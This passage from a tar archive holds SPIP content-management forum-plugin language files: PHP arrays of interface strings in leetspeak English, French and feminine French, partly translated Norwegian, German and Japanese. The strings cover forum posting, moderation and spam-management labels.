'forum_cliquer_retour' => 'C11ck <4 hr3f=’@retour_forum@’>h3r3</4> 70 c0n71nu3.',
'forum_forum' => 'f0rum',
'forum_info_modere' => '7h15 f0rum 15 m0d3r473d b3f0r3h4nd: y0ur c0n7r1bu710n w111 0n1y 4pp34r 4f73r b31ng v411d473d by 4 5173 4dm1n157r470r.', # MODIF
'forum_lien_hyper' => '<b>Hyp3r73x7 11nk</b> (0p710n41)', # MODIF
'forum_message_definitif' => 'F1n41 m3554g3: 53nd 70 7h3 5173',
'forum_message_trop_long' => 'Y0ur m3554g3 15 700 10ng. M4x1mum 13ng7h 5h0u1d b3 20000 ch4r4c73r5.', # MODIF
'forum_ne_repondez_pas' => 'D0 n07 r3p1y 70 7h15 m411 bu7 1n 7h3 f0rum 47 7h3 f0110w1ng 4ddr355:', # MODIF
'forum_page_url' => '(1f y0ur m3554g3 r3f3r5 70 4n 4r71c13 pub115h3d 0n 7h3 w3b 0r 70 4 p4g3 pr0v1d1ng fur7h3r 1nf0rm4710n, p13453 3n73r 7h3 71713 0f 7h3 p4g3 4nd 175 UR1 b310w).',
'forum_poste_par' => 'M3554g3 p0573d@parauteur@ f0110w1ng y0ur 4r71c13.', # MODIF
'forum_qui_etes_vous' => '<b>Wh0 4r3 y0u?</b> (0p710n41)', # MODIF
'forum_texte' => '73x7 0f y0ur m3554g3:', # MODIF
'forum_titre' => '5ubj3c7:', # MODIF
'forum_url' => 'UR1:', # MODIF
'forum_valider' => 'V411d473 7h15 ch01c3',
'forum_voir_avant' => 'Pr3v13w m3554g3 b3f0r3 p0571ng', # MODIF
'forum_votre_email' => 'Y0ur 3-m411 4ddr355:', # MODIF
'forum_votre_nom' => 'Y0ur n4m3 (0r 41145):', # MODIF
'forum_vous_enregistrer' => 'Pr10r 70 p4r71c1p471ng 1n
7h15 f0rum, y0u mu57 r3g1573r. 7h4nk y0u
f0r 3n73r1ng 7h3 p3r50n41 1d3n71f13r
5upp113d 70 y0u. 1f y0u 4r3 n07 41r34dy r3g1573r3d, y0u mu57',
'forum_vous_inscrire' => 'r3g1573r </4> f1r57.', # MODIF
// I
'icone_poster_message' => 'P057 4 m3554g3',
'icone_suivi_forum' => 'F0110w-up 0f pub11c f0rum: @nb_forums@ c0n7r1bu710n(5)',
'icone_suivi_forums' => 'M4n4g3 f0rum5',
'icone_supprimer_message' => 'D31373 7h15 m3554g3',
'icone_valider_message' => 'V411d473 7h15 m3554g3',
'info_activer_forum_public' => '<1>70 3n4b13 pub11c f0rum5, p13453 ch0053 7h31r d3f4u17 m0d3 0f m0d3r4710n:</1>', # MODIF
'info_appliquer_choix_moderation' => '4pp1y 7h15 ch01c3 0f m0d3r4710n:',
'info_desactiver_forum_public' => 'D154b13 7h3 u53 0f pub11c
f0rum5. Pub11c f0rum5 c0u1d b3 4110w3d 0n 4 c453 by c453
b4515 f0r 7h3 4r71c135; 7h3y w111 b3 f0rb1dd3n f0r 7h3 53c710n5, n3w5, 37c.',
'info_envoi_forum' => '53nd f0rum5 70 4r71c135 4u7h0r5',
'info_fonctionnement_forum' => 'F0rum 0p3r4710n:',
'info_gauche_suivi_forum_2' => '7h3 <1>f0rum5 f0110w-up</1> p4g3 15 4 m4n4g3m3n7 7001 0f y0ur 5173 (n07 4 d15cu5510n 0r 3d171ng). 17 d15p14y5 411 7h3 c0n7r1bu710n5 0f 7h3 pub11c f0rum 0f 7h15 4r71c13 4nd 4110w5 y0u 70 m4n4g3 7h353 c0n7r1bu710n5.', # MODIF
'info_liens_syndiques_3' => 'f0rum5',
'info_liens_syndiques_4' => '4r3',
'info_liens_syndiques_5' => 'f0rum',
'info_liens_syndiques_6' => '15',
'info_liens_syndiques_7' => 'p3nd1ng v411d4710n.',
'info_mode_fonctionnement_defaut_forum_public' => 'D3f4u17 0p3r4710n m0d3 0f pub11c f0rum5',
'info_option_email' => 'Wh3n 4 5173 v15170r p0575 4 m3554g3 70 7h3 f0rum
4550c1473d w17h 4n 4r71c13, 7h3 4r71c13’5 4u7h0r5 c4n b3
1nf0rm3d 0f 7h15 m3554g3 by 3-m411. D0 y0u w15h 70 u53 7h15 0p710n?', # MODIF
'info_pas_de_forum' => 'n0 f0rum',
'item_activer_forum_administrateur' => '3n4b13 4dm1n157r470r5 f0rum',
'item_desactiver_forum_administrateur' => 'D154b13 4dm1n157r470r5 f0rum',
// L
'lien_reponse_article' => 'R3p1y 70 7h3 4r71c13',
'lien_reponse_breve_2' => 'R3p1y 70 7h3 n3w5 173m',
'lien_reponse_rubrique' => 'R3p1y 70 7h3 53c710n',
'lien_reponse_site_reference' => 'R3p1y 70 7h3 r3f3r3nc3d 5173:', # MODIF
// O
'onglet_messages_internes' => '1n73rn41 m3554g35',
'onglet_messages_publics' => 'Pub11c m3554g35',
'onglet_messages_vide' => 'M3554g35 w17h0u7 73x7',
// R
'repondre_message' => 'R3p1y 70 7h15 m3554g3',
// T
'titre_cadre_forum_administrateur' => '4dm1n157r470r5 pr1v473 f0rum',
'titre_cadre_forum_interne' => '1n73rn41 f0rum',
'titre_forum' => 'F0rum',
'titre_forum_suivi' => 'F0rum5 f0110w-up',
'titre_page_forum_suivi' => 'F0rum5 f0110w-up'
);
?>
forum_no.php 0000666 00000005471 15252247467 0007132 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=no
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_modere_priori' => ' modéré à priori', # MODIF
// F
'forum' => 'Forum',
'forum_attention_message_non_poste' => 'Attention, vous n’avez pas posté votre message !',
'forum_lien_hyper' => ' <b>Lien hypertexte</b> (optionnel)', # MODIF
'forum_ne_repondez_pas' => ' Ne repondez pas a ce mail mais sur le forum a l’adresse suivante :', # MODIF
'forum_permalink' => 'Lien permanent vers le commentaire',
'forum_texte' => ' Texte de votre message :', # MODIF
'forum_titre' => ' Titre :', # MODIF
'forum_url' => ' URL :', # MODIF
'forum_votre_email' => ' Votre adresse email :', # MODIF
'forum_votre_nom' => ' Votre nom (ou pseudonyme) :', # MODIF
// I
'icone_supprimer_messages' => 'Supprimer ces messages',
'icone_valider_messages' => 'Valider ces messages',
'info_activer_forum_public' => ' <i>Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut:</i>', # MODIF
'info_config_forums_prive' => 'In the editing area of the site several differnt kinds of forum may be activated:',
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot',
'info_gauche_suivi_forum_2' => ' La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l’espace privé et vous permet de gérer ces contributions.', # MODIF
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message',
'info_nb_messages_forum' => '@nb@ messages de forum',
'info_option_email' => ' Lorsqu’un visiteur du site poste un nouveau message dans le forum
associé à un article, les auteurs de l’article peuvent être
prévenus de ce message par e-mail. Souhaitez-vous utiliser cette option ?', # MODIF
'info_question_visiteur_ajout_document_forum' => 'If you wish to allow visitors to attach documents (images, sound files, ...) to their forum messages, indicate below the list of file extensions which are authorised (e.g. gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'If you wish to authorise all document types which SPIP allows, then put an asterisk. To allow no file-types, leave empty.', # MODIF
'item_config_forums_prive_global' => 'Activate the authors’ forum',
'item_non_config_forums_prive_global' => 'Deactivate the authors’ forum',
// L
'lien_reponse_breve_2' => 'Réponse à la brève',
// T
'titre_config_forums_prive' => 'Forums in the editing area',
'titre_selection_action' => 'Sélection'
);
?>
paquet-forum_de.php 0000666 00000000725 15252247467 0010400 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Foren in SPIP (Redaktionsbereich und öffentliche Website)',
'forum_slogan' => 'Verwaltung der privaten und öffentlichen SPIP-Foren'
);
?>
forum_ss.php 0000666 00000025244 15252247467 0007143 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum', # NEW
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d\'action sur la base de données).', # NEW
'bouton_radio_articles_tous' => 'à tous les articles sans exception.', # NEW
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.', # NEW
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les
utilisateurs doivent s\'abonner en fournissant leur adresse e-mail avant de
pouvoir poster des contributions).', # NEW
'bouton_radio_moderation_priori' => 'Modération à priori (les
contributions ne s\'affichent publiquement qu\'après validation par les
administrateurs).', # NEW
'bouton_radio_modere_abonnement' => 'sur abonnement', # NEW
'bouton_radio_modere_posteriori' => 'modération à posteriori', # NEW
'bouton_radio_modere_priori' => 'modération à priori', # NEW
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s\'affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).', # NEW
// D
'documents_interdits_forum' => 'Documents interdits dans le forum', # NEW
// E
'erreur_enregistrement_message' => 'Votre message n\'a pas pu être enregistré en raison d\'un problème technique', # NEW
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?', # NEW
'forum' => 'Forumas', # NEW
'forum_acces_refuse' => 'Vous n\'avez plus accès à ces forums.', # NEW
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.', # NEW
'forum_attention_message_non_poste' => 'Attention, vous n\'avez pas posté votre message !', # NEW
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.', # NEW
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # NEW
'forum_avez_selectionne' => 'Vous avez sélectionné :', # NEW
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.', # NEW
'forum_forum' => 'forum', # NEW
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n\'apparaîtra qu\'après avoir été validée par un administrateur du site.', # NEW
'forum_lien_hyper' => 'Lien hypertexte', # NEW
'forum_message' => 'Votre message', # NEW
'forum_message_definitif' => 'Message définitif : envoyer au site', # NEW
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # NEW
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l\'adresse suivante :', # NEW
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d\'informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)', # NEW
'forum_permalink' => 'Lien permanent vers le commentaire', # NEW
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l\'article « @titre@ ».', # NEW
'forum_qui_etes_vous' => 'Qui êtes-vous ?', # NEW
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.', # NEW
'forum_texte' => 'Texte de votre message', # NEW
'forum_titre' => 'Titre', # NEW
'forum_url' => 'Votre site web', # NEW
'forum_valider' => 'Valider ce choix', # NEW
'forum_voir_avant' => 'Prévisualiser', # NEW
'forum_votre_email' => 'Votre adresse email', # NEW
'forum_votre_nom' => 'Votre nom', # NEW
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d\'indiquer ci-dessous l\'identifiant personnel qui vous a
été fourni. Si vous n\'êtes pas enregistré, vous devez', # NEW
'forum_vous_inscrire' => 'vous inscrire.', # NEW
// I
'icone_bruler_message' => 'Signaler comme Spam', # NEW
'icone_bruler_messages' => 'Signaler comme Spam', # NEW
'icone_legitimer_message' => 'Signaler comme licite', # NEW
'icone_poster_message' => 'Poster un message', # NEW
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)', # NEW
'icone_suivi_forums' => 'Suivre/gérer les forums', # NEW
'icone_supprimer_message' => 'Supprimer ce message', # NEW
'icone_supprimer_messages' => 'Supprimer ces messages', # NEW
'icone_valider_message' => 'Valider ce message', # NEW
'icone_valider_messages' => 'Valider ces messages', # NEW
'icone_valider_repondre_message' => 'Valider & Répondre à ce message', # NEW
'info_1_message_forum' => '1 message de forum', # NEW
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :', # NEW
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :', # NEW
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :', # NEW
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :', # NEW
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :', # NEW
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :', # NEW
'info_desactiver_forum_public' => 'Désactiver l\'utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.', # NEW
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles', # NEW
'info_fonctionnement_forum' => 'Fonctionnement du forum :', # NEW
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot', # NEW
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l\'espace privé et vous permet de gérer ces contributions.', # NEW
'info_liens_syndiques_3' => 'forums', # NEW
'info_liens_syndiques_4' => 'sont', # NEW
'info_liens_syndiques_5' => 'forum', # NEW
'info_liens_syndiques_6' => 'est', # NEW
'info_liens_syndiques_7' => 'en attente de validation', # NEW
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message', # NEW
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message', # NEW
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics', # NEW
'info_nb_messages_forum' => '@nb@ messages de forum', # NEW
'info_option_email' => 'Lorsqu\'un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l\'article peuvent être prévenus de ce message par e-mail. Indiquer pour chaque type de forum s\'il faut utiliser cette option.', # NEW
'info_pas_de_forum' => 'pas de forum', # NEW
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons...) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex: gif, jpg, png, mp3).', # NEW
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n\'indiquez rien.', # NEW
'interface_formulaire' => 'Interface formulaire', # NEW
'interface_onglets' => 'Interface avec onglets', # NEW
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs', # NEW
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs', # NEW
'item_config_forums_prive_objets' => 'Activer ces forums', # NEW
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs', # NEW
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs', # NEW
'item_non_config_forums_prive_objets' => 'Désactiver ces forums', # NEW
// L
'lien_reponse_article' => 'Réponse à l\'article', # NEW
'lien_reponse_breve_2' => 'Réponse à la brève', # NEW
'lien_reponse_message' => 'Réponse au message', # NEW
'lien_reponse_rubrique' => 'Réponse à la rubrique', # NEW
'lien_reponse_site_reference' => 'Réponse au site référencé', # NEW
// M
'messages_aucun' => 'Aucun', # NEW
'messages_meme_auteur' => 'Tous les messages de cet auteur', # NEW
'messages_meme_email' => 'Tous les messages de cet email', # NEW
'messages_meme_ip' => 'Tous les messages de cette IP', # NEW
'messages_off' => 'Supprimés', # NEW
'messages_perso' => 'Personnels', # NEW
'messages_privadm' => 'Administrateurs', # NEW
'messages_prive' => 'Privés', # NEW
'messages_privoff' => 'Supprimés', # NEW
'messages_privrac' => 'Généraux', # NEW
'messages_prop' => 'Proposés', # NEW
'messages_publie' => 'Publiés', # NEW
'messages_spam' => 'Spam', # NEW
'messages_tous' => 'Tous', # NEW
// O
'onglet_messages_internes' => 'Messages internes', # NEW
'onglet_messages_publics' => 'Messages publics', # NEW
'onglet_messages_vide' => 'Messages sans texte', # NEW
// R
'repondre_message' => '<NEW>Reply to this message', # NEW
// S
'statut_off' => 'Supprimé', # NEW
'statut_original' => 'original', # NEW
'statut_prop' => 'Proposé', # NEW
'statut_publie' => 'Publié', # NEW
'statut_spam' => 'Spam', # NEW
// T
'text_article_propose_publication_forum' => 'N\'hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).', # NEW
'texte_en_cours_validation' => 'Les articles, brèves, forums ci dessous sont proposés à la publication.', # NEW
'texte_en_cours_validation_forum' => 'N\'hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.', # NEW
'texte_messages_publics' => 'Messages publics sur :', # NEW
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs', # NEW
'titre_cadre_forum_interne' => 'Forum interne', # NEW
'titre_config_forums_prive' => 'Forums de l’espace privé', # NEW
'titre_forum' => 'Forum', # NEW
'titre_forum_suivi' => 'Suivi des forums', # NEW
'titre_page_forum_suivi' => 'Suivi des forums', # NEW
'titre_selection_action' => 'Sélection', # NEW
'tout_voir' => 'Voir tous les messages', # NEW
// V
'voir_messages_objet' => 'voir les messages' # NEW
);
?>
forum_fr_fem.php 0000666 00000024625 15252247467 0007756 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum',
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d’action sur la base de données).',
'bouton_radio_articles_tous' => 'à tous les articles sans exception.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.',
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les utilisatrices doivent s’abonner en fournissant leur adresse email avant de pouvoir poster des contributions).',
'bouton_radio_moderation_priori' => 'Modération a priori (les
contributions ne s’affichent publiquement qu’après validation par les
administratrices).',
'bouton_radio_modere_abonnement' => 'sur abonnement',
'bouton_radio_modere_posteriori' => 'modération a posteriori',
'bouton_radio_modere_priori' => 'modération a priori',
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s’affichent dès leur envoi, les administratrices peuvent
les supprimer ensuite).',
// D
'documents_interdits_forum' => 'Documents interdits dans le forum',
// E
'erreur_enregistrement_message' => 'Votre message n’a pas pu être enregistré en raison d’un problème technique',
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Vous n’avez plus accès à ces forums.',
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.',
'forum_attention_message_non_poste' => 'Attention, vous n’avez pas posté votre message !',
'forum_attention_nb_caracteres_mini' => '<b>Attention !</b> votre message doit contenir au moins @min@ caractères.',
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.',
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.',
'forum_avez_selectionne' => 'Vous avez sélectionné :',
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Ce forum est modéré a priori : votre contribution n’apparaîtra qu’après avoir été validée par une administratrice du site.',
'forum_lien_hyper' => 'Lien hypertexte',
'forum_message' => 'Votre message',
'forum_message_definitif' => 'Message définitif : envoyer au site',
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20 000 caractères.',
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l’adresse suivante :',
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)',
'forum_permalink' => 'Lien permanent vers le commentaire',
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l’article « @titre@ ».',
'forum_poste_par_court' => 'Message posté@parauteur@.',
'forum_poste_par_generique' => 'Message posté@parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'Qui êtes-vous ?',
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.',
'forum_texte' => 'Texte de votre message',
'forum_titre' => 'Titre',
'forum_url' => 'Votre site web',
'forum_valider' => 'Valider ce choix',
'forum_voir_avant' => 'Prévisualiser',
'forum_votre_email' => 'Votre adresse email',
'forum_votre_nom' => 'Votre nom',
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d’indiquer ci-dessous l’identifiant personnel qui vous a
été fourni. Si vous n’êtes pas enregistrée, vous devez',
'forum_vous_inscrire' => 'vous inscrire.',
// I
'icone_bruler_message' => 'Signaler comme Spam',
'icone_bruler_messages' => 'Signaler comme Spam',
'icone_legitimer_message' => 'Signaler comme licite',
'icone_poster_message' => 'Poster un message',
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Suivre/gérer les forums',
'icone_supprimer_message' => 'Supprimer ce message',
'icone_supprimer_messages' => 'Supprimer ces messages',
'icone_valider_message' => 'Valider ce message',
'icone_valider_messages' => 'Valider ces messages',
'icone_valider_repondre_message' => 'Valider et Répondre à ce message',
'info_1_message_forum' => '1 message de forum',
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :',
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :',
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :',
'info_config_forums_prive_admin' => 'Un forum réservé aux administratrices du site :',
'info_config_forums_prive_global' => 'Un forum global, ouvert à toutes les rédactrices :',
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :',
'info_desactiver_forum_public' => 'Désactiver l’utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.',
'info_envoi_forum' => 'Envoi des forums aux auteures des articles',
'info_fonctionnement_forum' => 'Fonctionnement du forum :',
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot',
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que celles de l’espace privé et vous permet de gérer ces contributions.',
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'sont',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'est',
'info_liens_syndiques_7' => 'en attente de validation',
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message',
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message',
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics',
'info_nb_messages_forum' => '@nb@ messages de forum',
'info_option_email' => 'Lorsqu’une visiteuse du site poste un nouveau message dans le forum associé à un article, les auteures de l’article peuvent être prévenues de ce message par email. Indiquer pour chaque type de forum s’il faut utiliser cette option.',
'info_pas_de_forum' => 'pas de forum',
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteuses à joindre des documents (images, sons…) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex : gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n’indiquez rien.',
'info_selectionner_message' => 'Sélectionner les messages :',
'interface_formulaire' => 'Interface formulaire',
'interface_onglets' => 'Interface avec onglets',
'item_activer_forum_administrateur' => 'Activer le forum des administratrices',
'item_config_forums_prive_global' => 'Activer le forum des rédactrices',
'item_config_forums_prive_objets' => 'Activer ces forums',
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administratrices',
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédactrices',
'item_non_config_forums_prive_objets' => 'Désactiver ces forums',
// L
'label_selectionner' => 'Sélectionner :',
'lien_reponse_article' => 'Réponse à l’article',
'lien_reponse_breve_2' => 'Réponse à la brève',
'lien_reponse_message' => 'Réponse au message',
'lien_reponse_rubrique' => 'Réponse à la rubrique',
'lien_reponse_site_reference' => 'Réponse au site référencé',
'lien_vider_selection' => 'Vider la sélection',
// M
'messages_aucun' => 'Aucun',
'messages_meme_auteur' => 'Tous les messages de cette auteure',
'messages_meme_email' => 'Tous les messages de cet email',
'messages_meme_ip' => 'Tous les messages de cette IP',
'messages_off' => 'Supprimés',
'messages_perso' => 'Personnels',
'messages_privadm' => 'Administratrices',
'messages_prive' => 'Privés',
'messages_privoff' => 'Supprimés',
'messages_privrac' => 'Généraux',
'messages_prop' => 'Proposés',
'messages_publie' => 'Publiés',
'messages_spam' => 'Spam',
'messages_tous' => 'Tous',
// O
'onglet_messages_internes' => 'Messages internes',
'onglet_messages_publics' => 'Messages publics',
'onglet_messages_vide' => 'Messages sans texte',
// R
'repondre_message' => 'Répondre à ce message',
// S
'statut_off' => 'Supprimé',
'statut_original' => 'original',
'statut_prop' => 'Proposé',
'statut_publie' => 'Publié',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'N’hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).',
'texte_en_cours_validation' => 'Les articles, brèves, forums ci-dessous sont proposés à la publication.',
'texte_en_cours_validation_forum' => 'N’hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.',
'texte_messages_publics' => 'Messages publics sur :',
'titre_cadre_forum_administrateur' => 'Forum privé des administratrices',
'titre_cadre_forum_interne' => 'Forum interne',
'titre_config_forums_prive' => 'Forums de l’espace privé',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Suivi des forums',
'titre_page_forum_suivi' => 'Suivi des forums',
'titre_selection_action' => 'Sélection',
'tout_voir' => 'Voir tous les messages',
// V
'voir_messages_objet' => 'voir les messages'
);
?>
forum_ja.php 0000666 00000015014 15252247467 0007102 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'これから作られる記事のみ（今データベースにある記事はそのまま除外）。',
'bouton_radio_articles_tous' => 'すべての記事、特例を認めない、全部。',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'すべての記事、掲示板機能を使っていない記事は除く。',
'bouton_radio_enregistrement_obligatoire' => '必要な登録 (
ユーザは、寄稿することができる前に彼らのe-mailアドレスを提供することによって、
定期受信すべきです)。',
'bouton_radio_moderation_priori' => '事前に適正検査 (
投稿物は、管理者によって適正検査された後、表示されます)。', # MODIF
'bouton_radio_modere_abonnement' => '会員だけ投稿可能',
'bouton_radio_modere_posteriori' => 'コメントを投稿後に検査', # MODIF
'bouton_radio_modere_priori' => '検査したコメントのみ表示', # MODIF
'bouton_radio_publication_immediate' => '投稿と同時に表示
（投稿すると瞬時に表示するため、管理者は投稿を削除することは可能ですが投稿後になるでしょう）。',
// F
'form_pet_message_commentaire' => 'よろしければメッセージをお寄せください。',
'forum' => 'フォーラム',
'forum_acces_refuse' => 'あなたはもうこれらの掲示板にアクセスできません。',
'forum_attention_dix_caracteres' => '<b>警告 !</b> あなたのメッセージは長さが１０文字以下です。',
'forum_attention_trois_caracteres' => '<b>警告 !</b> あなたの題名は長さが３文字以下です。',
'forum_avez_selectionne' => 'あなたの選択:',
'forum_cliquer_retour' => '<a href=\'@retour_forum@\'>ここ</a> を押して続けて下さい。',
'forum_forum' => '掲示板',
'forum_info_modere' => 'この掲示板への投稿はあらかじめ検査されます: あなたの投稿は、サイトの管理者によって適性検査されてから表示されます。', # MODIF
'forum_lien_hyper' => '<b>リンク</b> (オプション)', # MODIF
'forum_message_definitif' => '最後のメッセージ: サイトへ送る',
'forum_message_trop_long' => 'あなたのメッセージは長すぎます。最大20000文字(全角は２つ分)であるべきです。', # MODIF
'forum_ne_repondez_pas' => 'このメールに返信しないで、次のアドレスの掲示板で:', # MODIF
'forum_page_url' => '(もしあなたのメッセージがウェブに公表されている記事、更なる情報が提供されているページを参照するなら、ページのタイトルとその下にURLを入力してください)。',
'forum_poste_par' => 'あなたの記事の後に投稿された@parauteur@ メッセージ。', # MODIF
'forum_qui_etes_vous' => '<b>あなたはだれ?</b> (オプション)', # MODIF
